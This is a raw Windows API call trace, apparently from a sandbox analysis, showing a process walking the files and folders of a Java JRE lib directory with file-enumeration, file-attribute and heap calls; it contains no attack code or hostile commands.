[0088.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bce08 [0088.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ebe0 [0088.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.172] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7540fcc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7540fcc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xce642c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxrt.jar", cAlternateFileName="")) returned 1 [0088.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bce28 [0088.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ec68 [0088.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.173] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7539d8a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7539d8a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753c3a00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x809cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsse.jar", cAlternateFileName="")) returned 1 [0088.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bce48 [0088.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ecf0 [0088.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.175] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.hprof.txt", cAlternateFileName="")) returned 1 [0088.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bce68 [0088.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ed78 [0088.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.177] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x0, dwReserved1=0x0, cFileName="logging.properties", cAlternateFileName="")) returned 1 [0088.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bce88 [0088.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ee00 [0088.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.178] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="management", cAlternateFileName="")) returned 1 [0088.178] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x181, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="")) returned 1 [0088.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcea8 [0088.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ee88 [0088.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.180] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x88e, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="")) returned 1 [0088.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcec8 [0088.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ef10 [0088.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.182] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.properties", cAlternateFileName="")) returned 1 [0088.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcee8 [0088.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ef98 [0088.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.183] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x753515e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x753515e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7539d8a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d5e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.jar", cAlternateFileName="")) returned 1 [0088.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcf08 [0088.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f020 [0088.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.185] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfont.properties.ja", cAlternateFileName="")) returned 1 [0088.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcf28 [0088.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f0a8 [0088.187] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.187] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfontj2d.properties", cAlternateFileName="")) returned 1 [0088.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.187] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcf48 [0088.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f130 [0088.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.188] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2562c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.jar", cAlternateFileName="")) returned 1 [0088.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcf68 [0088.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f1b8 [0088.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.190] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x751d4820, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3124c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt.jar", cAlternateFileName="")) returned 1 [0088.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcf88 [0088.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f240 [0088.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0088.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="")) returned 1 [0088.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcfa8 [0088.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f2c8 [0088.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.194] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1fca, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="")) returned 1 [0088.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcfc8 [0088.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f350 [0088.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x84c0) returned 0x12ea380 [0088.196] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zi", cAlternateFileName="")) returned 1 [0088.196] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zi", cAlternateFileName="")) returned 0 [0088.196] GetLastError () returned 0x12 [0088.196] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0088.196] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.196] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.196] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.properties", cAlternateFileName="")) returned 1 [0088.196] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="alt-rt.jar", cAlternateFileName="")) returned 1 [0088.196] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0088.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.197] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\applet"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.197] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\applet"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0088.197] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0088.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.197] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0088.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.198] NtClose (Handle=0x164) returned 0x0 [0088.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f3d8 [0088.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.199] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0088.199] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, 